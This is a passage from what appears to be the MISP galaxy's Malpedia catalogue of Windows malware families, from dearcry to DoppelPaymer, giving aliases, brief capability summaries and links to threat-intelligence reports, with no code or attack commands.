dearcry is also known as:

- DoejoCrypt

Table 2016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry
https://www.youtube.com/watch?v=Hhx9Q2i7zGo
https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s
https://www.youtube.com/watch?v=qmCjtigVVR0
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://www.youtube.com/watch?v=MRTdGUy1lfw
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b
https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf
https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

DeathRansom

Also known as Wacatac ransomware due to its .wctc extension.

The tag is: *misp-galaxy:malpedia="DeathRansom"*

DeathRansom is also known as:

- deathransom
- wacatac

Table 2017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom
https://asec.ahnlab.com/1269
https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md
https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html
https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html
https://twitter.com/Amigo_A_/status/1196898012645220354
https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html
https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html

DECAF

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia="DECAF"*

DECAF is also known as:

Table 2018. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf
https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance

Decebal

The tag is: *misp-galaxy:malpedia="Decebal"*

Decebal is also known as:

Table 2019. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf
https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html

DeepRAT

The tag is: *misp-galaxy:malpedia="DeepRAT"*

DeepRAT is also known as:

Table 2020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deep_rat
https://twitter.com/benkow_/status/1415797114794397701

Defray

Defray is ransomware that appeared in 2017, and is targeted ransomware, mainly on the healthcare vertical.

The distribution of Defray has several notable characteristics: According to Proofpoint: " Defray is currently being spread via Microsoft Word document attachments in email The campaigns are as small as several messages each The lures are custom crafted to appeal to the intended set of potential victims The recipients are individuals or distribution lists, e.g., group@ and websupport@ Geographic targeting is in the UK and US Vertical targeting varies by campaign and is narrow and selective "

The tag is: *misp-galaxy:malpedia="Defray"*

Defray is also known as:

- Glushkov

Table 2021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.defray
https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html
https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals
https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html
https://www.secureworks.com/research/threat-profiles/gold-dupont

https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3
https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/

Deimos

Described by Elastic as being associated with win.jupyter, and being used in the context of initial access, persistence, and C&C capabilities.

The tag is: *misp-galaxy:malpedia="Deimos"*

Deimos is also known as:

Table 2022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos
https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant

Delta(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Delta(Alfa,Bravo, ...)"*

Delta(Alfa,Bravo, ...) is also known as:

Table 2023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas

Dented

Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.

The tag is: *misp-galaxy:malpedia="Dented"*

Dented is also known as:

Table 2024. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dented

Deprimon

According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.

DePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.

The tag is: *misp-galaxy:malpedia="Deprimon"*

Deprimon is also known as:

Table 2025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon
https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/

DeputyDog

The tag is: *misp-galaxy:malpedia="DeputyDog"*

DeputyDog is also known as:

Table 2026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog
https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html

DeriaLock

The tag is: *misp-galaxy:malpedia="DeriaLock"*

DeriaLock is also known as:

Table 2027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock
https://twitter.com/struppigel/status/812601286088597505

DeroHE

DeroHE is a ransomware that was spread to users after IObit, a Windows utility developer, was hacked. The malware is delivered a DLL that is sideloaded by a legitimate, signed IObit License Manager application.

The tag is: *misp-galaxy:malpedia="DeroHE"*

DeroHE is also known as:

Table 2028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe
https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/

Derusbi (Windows)

```
A DLL backdoor also reported publicly as Derusbi, capable of obtaining directory,
file, and drive listing; creating a reverse shell; performing screen captures;
recording video and audio; listing, terminating, and creating processes; enumerating,
starting, and deleting registry keys and values; logging keystrokes, returning
usernames and passwords from protected storage; and renaming, deleting, copying,
moving, reading, and writing to files.
```

The tag is: *misp-galaxy:malpedia="Derusbi (Windows)"*

Derusbi (Windows) is also known as:

- PHOTO

Table 2029. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf
https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf
https://attack.mitre.org/groups/G0001/
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/
https://attack.mitre.org/groups/G0096
https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf

DesertBlade

According to Microsoft, this was used in a limited destructive malware attack in early March 2022 impacting a single Ukrainian entity. DesertBlade is responsible for iteratively overwriting and then deleting overwritten files on all accessible drives (sparing the system if it is a domain controller).

The tag is: *misp-galaxy:malpedia="DesertBlade"*

DesertBlade is also known as:

Table 2030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/

Devil’s Rat

The tag is: *misp-galaxy:malpedia="Devil’s Rat"*

Devil’s Rat is also known as:

Table 2031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat

Dexbia

The tag is: *misp-galaxy:malpedia="Dexbia"*

Dexbia is also known as:

- CONIME

Table 2032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia
https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf

Dexphot

Dexphot is a cryptominer Malware attacking windows machines to gain profit from their resources. It implements many techniques to evade common security systems and a file-less technology to become inject malicious behavior. According to Microsoft the Dexphot It hijacked legitimate system processes to disguise malicious activity. If not stopped, Dexphot is equipped by monitoring services and scheduled tasks triggering re-infection when defenders attempt to remove the malware.

The tag is: *misp-galaxy:malpedia="Dexphot"*

Dexphot is also known as:

Table 2033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexphot
https://www.microsoft.com/security/blog/2019/11/26/insights-from-one-year-of-tracking-a-polymorphic-threat/

Dexter

The tag is: *misp-galaxy:malpedia="Dexter"*

Dexter is also known as:

- LusyPOS

Table 2034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter
https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware—Getting-Your-Hands-Dirty/
http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html
https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html
https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html

Dharma

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

The tag is: *misp-galaxy:malpedia="Dharma"*

Dharma is also known as:

- Arena
- Crysis
- Wadhrama
- ncov

Table 2035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma
https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://twitter.com/JakubKroustek/status/1087808550309675009
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://www.group-ib.com/media/iran-cybercriminals/
https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/
https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack
https://www.acronis.com/en-us/articles/Dharma-ransomware/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/
https://www.npu.gov.ua/news/kiberzlochini/kiberpoliczіya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/
https://securelist.com/cis-ransomware/104452/

DiamondFox

The tag is: *misp-galaxy:malpedia="DiamondFox"*

DiamondFox is also known as:

- Crystal
- Gorynch
- Gorynych

Table 2036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox
https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF
https://www.scmagazine.com/inside-diamondfox/article/578478/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/
https://blog.cylance.com/a-study-in-bots-diamondfox
https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced
https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/
https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/

Diavol

A ransomware with potential ties to Wizard Spider.

The tag is: *misp-galaxy:malpedia="Diavol"*

Diavol is also known as:

Table 2037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol
https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/
https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648
https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/

https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/
https://arcticwolf.com/resources/blog/karakurt-web
https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/
https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday
https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/
https://www.ic3.gov/Media/News/2022/220120.pdf
https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/

DILLJUICE

APT10's fork of the (open-source) Quasar RAT.

The tag is: *misp-galaxy:malpedia="DILLJUICE"*

DILLJUICE is also known as:

Table 2038. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dilljuice
https://securelist.com/apt-trends-report-q1-2021/101967/
https://threatvector.cylance.com/en_us/home/threat-spotlight-menupass-quasarrat-backdoor.html

DilongTrash

Downloader.

The tag is: *misp-galaxy:malpedia="DilongTrash"*

DilongTrash is also known as:

Table 2039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dilongtrash
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Dimnie

The tag is: *misp-galaxy:malpedia="Dimnie"*

Dimnie is also known as:

Table 2040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie
http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

DinoTrain

Downloader.

The tag is: *misp-galaxy:malpedia="DinoTrain"*

DinoTrain is also known as:

Table 2041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dinotrain
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

DirCrypt

The tag is: *misp-galaxy:malpedia="DirCrypt"*

DirCrypt is also known as:

Table 2042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/

DirtyMoe

The tag is: *misp-galaxy:malpedia="DirtyMoe"*

DirtyMoe is also known as:

Table 2043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe
https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/
https://decoded.avast.io/martinchlumecky/dirtymoe-1/

https://decoded.avast.io/martinchlumecky/dirtymoe-4/
https://decoded.avast.io/martinchlumecky/dirtymoe-5/
https://decoded.avast.io/martinchlumecky/dirtymoe-3/
https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html

DispCashBR

The tag is: *misp-galaxy:malpedia="DispCashBR"*

DispCashBR is also known as:

Table 2044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr
https://twitter.com/r3c0nst/status/1232944566208286720
https://insights.oem.avira.com/atm-malware-targets-wincor-and-diebold-atms/

DispenserXFS

The tag is: *misp-galaxy:malpedia="DispenserXFS"*

DispenserXFS is also known as:

Table 2045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs
https://twitter.com/cyb3rops/status/1101138784933085191

DistTrack

The tag is: *misp-galaxy:malpedia="DistTrack"*

DistTrack is also known as:

- Shamoon

Table 2046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack
https://securelist.com/shamoon-the-wiper-copycats-at-work/
https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon

https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
https://malwareindepth.com/shamoon-2012/
https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis
https://content.fireeye.com/m-trends/rpt-m-trends-2017
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412
http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/
https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/
https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/
https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks
https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf
http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware

Divergent

The tag is: *misp-galaxy:malpedia="Divergent"*

Divergent is also known as:

- Novter

Table 2047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent
https://blog.talosintelligence.com/2019/09/divergent-analysis.html
https://documents.trendmicro.com/assets/Tech-Brief-New-Fileless-Botnet-Novter-Distributed-by-KovCoreG-Malvertising-Campaign.pdf
https://www.cert-pa.it/notizie/devergent-malware-fileless/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-fileless-botnet-novter-distributed-by-kovcoreg-malvertising-campaign/
https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/

Diztakun

The tag is: *misp-galaxy:malpedia="Diztakun"*

Diztakun is also known as:

Table 2048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun
https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

DMA Locker

The tag is: *misp-galaxy:malpedia="DMA Locker"*

DMA Locker is also known as:

Table 2049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker
https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/

DMSniff

DMSniff is a point-of-sale malware previously only privately sold. It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.

The tag is: *misp-galaxy:malpedia="DMSniff"*

DMSniff is also known as:

Table 2050. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff
https://www.flashpoint-intel.com/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/

DneSpy

DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.

The tag is: *misp-galaxy:malpedia="DneSpy "*

DneSpy is also known as:

Table 2051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html

DNSChanger

The tag is: *misp-galaxy:malpedia="DNSChanger"*

DNSChanger is also known as:

Table 2052. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnschanger
https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/

DNSMessenger

DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.

The tag is: *misp-galaxy:malpedia="DNSMessenger"*

DNSMessenger is also known as:

- TEXTMATE

Table 2053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/
https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://blog.talosintelligence.com/2017/03/dnsmessenger.html
http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/

DNSpionage

The tag is: *misp-galaxy:malpedia="DNSpionage"*

DNSpionage is also known as:

- Agent Drable
- AgentDrable
- Webmask

Table 2054. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage
https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
https://www.secureworks.com/research/threat-profiles/cobalt-edgewater
https://nsfocusglobal.com/apt34-event-analysis-report/

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/
https://marcoramilli.com/2019/04/23/apt34-webmask-project/
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.us-cert.gov/ncas/alerts/AA19-024A

DogHousePower

DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.

The tag is: *misp-galaxy:malpedia="DogHousePower"*

DogHousePower is also known as:

- Shelma

Table 2055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower
http://www1.paladion.net/hubfs/Newsletter/DogHousePower-%20Newly%20Identified%20Python-Based%20Ransomware.pdf

donut_injector

Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42). Github: https://github.com/TheWover/donut

The tag is: *misp-galaxy:malpedia="donut_injector"*

donut_injector is also known as:

- Donut

Table 2056. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.donut_injector
https://thewover.github.io/Introducing-Donut/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us

DoorMe

The tag is: *misp-galaxy:malpedia="DoorMe"*

DoorMe is also known as:

Table 2057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/

DoppelDridex

DoppelDridex is a fork of Indrik Spider's Dridex malware. DoppelDridex has been run as a parallel operation to Dridex with a different malware versioning system, different RSA key, and with different infrastructure.

The tag is: *misp-galaxy:malpedia="DoppelDridex"*

DoppelDridex is also known as:

Table 2058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/
https://redcanary.com/blog/grief-ransomware/
https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays
https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware

https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/
https://security-soup.net/doppeldridex-delivered-via-slack-and-discord/
https://cyber-anubis.github.io/malware%20analysis/dridex/
https://blogs.blackberry.com/en/2021/11/zebra2104
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/
https://twitter.com/BrettCallow/status/1453557686830727177?s=20

DoppelPaymer

Doppelpaymer is a ransomware family that encrypts user data and later on it asks for a ransom in order to restore original files. It is recognizable by its trademark file extension added to encrypted files: .doppeled. It also creates a note file named: ".how2decrypt.txt".

The tag is: *misp-galaxy:malpedia="DoppelPaymer"*

DoppelPaymer is also known as:

- Pay OR Grief

Table 2059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer
https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
